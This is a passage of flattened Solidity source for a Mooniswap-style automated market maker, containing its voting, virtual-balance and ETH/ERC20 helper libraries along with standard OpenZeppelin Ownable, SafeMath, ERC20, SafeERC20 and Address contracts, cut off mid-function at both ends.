data.current().toUint104(), newResult.toUint104(), block.timestamp.toUint48() ); } } if (!newVote.eq(oldVote)) { self.votes[user] = newVote; } emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./SafeCast.sol"; import "./VirtualVote.sol"; import "./Vote.sol"; library LiquidVoting { using SafeMath for uint256; using SafeCast for uint256; using Vote for Vote.Data; using VirtualVote for VirtualVote.Data; struct Data { VirtualVote.Data data; uint256 _weightedSum; uint256 _defaultVotes; mapping(address => Vote.Data) votes; } function updateVote( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 balance, uint256 totalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newVote, balance, balance, totalSupply, defaultVote, emitEvent); } function updateBalance( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, uint256 oldBalance, uint256 newBalance, uint256 newTotalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, newTotalSupply, defaultVote, emitEvent); } function _update( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 oldBalance, uint256 newBalance, uint256 newTotalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) private { uint256 oldWeightedSum = self._weightedSum; uint256 newWeightedSum = oldWeightedSum; uint256 oldDefaultVotes = self._defaultVotes; uint256 newDefaultVotes = oldDefaultVotes; if (oldVote.isDefault()) { newDefaultVotes = newDefaultVotes.sub(oldBalance); } else { newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote))); } if (newVote.isDefault()) { newDefaultVotes = newDefaultVotes.add(newBalance); } else { newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote))); } if (newWeightedSum != oldWeightedSum) { self._weightedSum = newWeightedSum; } if (newDefaultVotes != oldDefaultVotes) { self._defaultVotes = newDefaultVotes; } { uint256 newResult = newTotalSupply == 0 ? defaultVote : newWeightedSum.add(newDefaultVotes.mul(defaultVote)).div(newTotalSupply); VirtualVote.Data memory data = self.data; if (newResult != data.result) { VirtualVote.Data storage sdata = self.data; (sdata.oldResult, sdata.result, sdata.time) = ( data.current().toUint104(), newResult.toUint104(), block.timestamp.toUint48() ); } } if (!newVote.eq(oldVote)) { self.votes[user] = newVote; } emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library MooniswapConstants { uint256 internal constant _FEE_DENOMINATOR = 1e18; uint256 internal constant _MIN_REFERRAL_SHARE = 0.05e18; // 5% uint256 internal constant _MIN_DECAY_PERIOD = 1 minutes; uint256 internal constant _MAX_FEE = 0.01e18; // 1% uint256 internal constant _MAX_SLIPPAGE_FEE = 1e18; // 100% uint256 internal constant _MAX_SHARE = 0.1e18; // 10% uint256 internal constant _MAX_DECAY_PERIOD = 5 minutes; uint256 internal constant _DEFAULT_FEE = 0; uint256 internal constant _DEFAULT_SLIPPAGE_FEE = 1e18; // 100% uint256 internal constant _DEFAULT_REFERRAL_SHARE = 0.1e18; // 10% uint256 internal constant _DEFAULT_GOVERNANCE_SHARE = 0; uint256 internal constant _DEFAULT_DECAY_PERIOD = 1 minutes; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeCast { function toUint216(uint256 value) internal pure returns (uint216) { require(value < 2**216, "value does not fit in 216 bits"); return uint216(value); } function toUint104(uint256 value) internal pure returns (uint104) { require(value < 2**104, "value does not fit in 104 bits"); return uint104(value); } function toUint48(uint256 value) internal pure returns (uint48) { require(value < 2**48, "value does not fit in 48 bits"); return uint48(value); } function toUint40(uint256 value) internal pure returns (uint40) { require(value < 2**40, "value does not fit in 40 bits"); return uint40(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library Sqrt { // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256) { if (y > 3) { uint256 z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } return z; } else if (y != 0) { return 1; } else { return 0; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; library UniERC20 { using SafeMath for uint256; using SafeERC20 for IERC20; function isETH(IERC20 token) internal pure returns(bool) { return (address(token) == address(0)); } function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) { if (isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function uniTransfer(IERC20 token, address payable to, uint256 amount) internal { if (amount > 0) { if (isETH(token)) { to.transfer(amount); } else { token.safeTransfer(to, amount); } } } function uniTransferFrom(IERC20 token, address payable from, address to, uint256 amount) internal { if (amount > 0) { if (isETH(token)) { require(msg.value >= amount, "UniERC20: not enough value"); require(from == msg.sender, "from is not msg.sender"); require(to == address(this), "to is not this"); if (msg.value > amount) { // Return remainder if exist from.transfer(msg.value.sub(amount)); } } else { token.safeTransferFrom(from, to, amount); } } } function uniSymbol(IERC20 token) internal view returns(string memory) { if (isETH(token)) { return "ETH"; } (bool success, bytes memory data) = address(token).staticcall{ gas: 20000 }( abi.encodeWithSignature("symbol()") ); if (!success) { (success, data) = address(token).staticcall{ gas: 20000 }( abi.encodeWithSignature("SYMBOL()") ); } if (success && data.length >= 96) { (uint256 offset, uint256 len) = abi.decode(data, (uint256, uint256)); if (offset == 0x20 && len > 0 && len <= 256) { return string(abi.decode(data, (bytes))); } } if (success && data.length == 32) { uint len = 0; while (len < data.length && data[len] >= 0x20 && data[len] <= 0x7E) { len++; } if (len > 0) { bytes memory result = new bytes(len); for (uint i = 0; i < len; i++) { result[i] = data[i]; } return string(result); } } return _toHex(address(token)); } function _toHex(address account) private pure returns(string memory) { return _toHex(abi.encodePacked(account)); } function _toHex(bytes memory data) private pure returns(string memory) { bytes memory str = new bytes(2 + data.length * 2); str[0] = "0"; str[1] = "x"; uint j = 2; for (uint i = 0; i < data.length; i++) { uint a = uint8(data[i]) >> 4; uint b = uint8(data[i]) & 0x0f; str[j++] = byte(uint8(a + 48 + (a/10)*39)); str[j++] = byte(uint8(b + 48 + (b/10)*39)); } return string(str); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "./SafeCast.sol"; library VirtualBalance { using SafeMath for uint256; using SafeCast for uint256; struct Data { uint216 balance; uint40 time; } function set(VirtualBalance.Data storage self, uint256 balance) internal { (self.balance, self.time) = ( balance.toUint216(), block.timestamp.toUint40() ); } function update(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance) internal { set(self, current(self, decayPeriod, realBalance)); } function scale(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance, uint256 num, uint256 denom) internal { set(self, current(self, decayPeriod, realBalance).mul(num).add(denom.sub(1)).div(denom)); } function current(VirtualBalance.Data memory self, uint256 decayPeriod, uint256 realBalance) internal view returns(uint256) { uint256 timePassed = Math.min(decayPeriod, block.timestamp.sub(self.time)); uint256 timeRemain = decayPeriod.sub(timePassed); return uint256(self.balance).mul(timeRemain).add( realBalance.mul(timePassed) ).div(decayPeriod); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; library VirtualVote { using SafeMath for uint256; uint256 private constant _VOTE_DECAY_PERIOD = 1 days; struct Data { uint104 oldResult; uint104 result; uint48 time; } function current(VirtualVote.Data memory self) internal view returns(uint256) { uint256 timePassed = Math.min(_VOTE_DECAY_PERIOD, block.timestamp.sub(self.time)); uint256 timeRemain = _VOTE_DECAY_PERIOD.sub(timePassed); return uint256(self.oldResult).mul(timeRemain).add( uint256(self.result).mul(timePassed) ).div(_VOTE_DECAY_PERIOD); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library Vote { struct Data { uint256 value; } function eq(Vote.Data memory self, Vote.Data memory vote) internal pure returns(bool) { return self.value == vote.value; } function init() internal pure returns(Vote.Data memory data) { return Vote.Data({ value: 0 }); } function init(uint256 vote) internal pure returns(Vote.Data memory data) { return Vote.Data({ value: vote + 1 }); } function isDefault(Data memory self) internal pure returns(bool) { return self.value == 0; } function get(Data memory self, uint256 defaultVote) internal pure returns(uint256) { if (self.value > 0) { return self.value - 1; } return defaultVote; } function get(Data memory self, function() external view returns(uint256) defaultVoteFn) internal view returns(uint256) { if (self.value > 0) { return self.value - 1; } return defaultVoteFn(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; contract BalanceAccounting { using SafeMath for uint256; uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function _mint(address account, uint256 amount) internal virtual { _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint256 amount) internal virtual { _balances[account] = _balances[account].sub(amount, "Burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _set(address account, uint256 amount) internal virtual returns(uint256 oldAmount) { oldAmount = _balances[account]; if (oldAmount != amount) { _balances[account] = amount; _totalSupply = _totalSupply.add(amount).sub(oldAmount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { 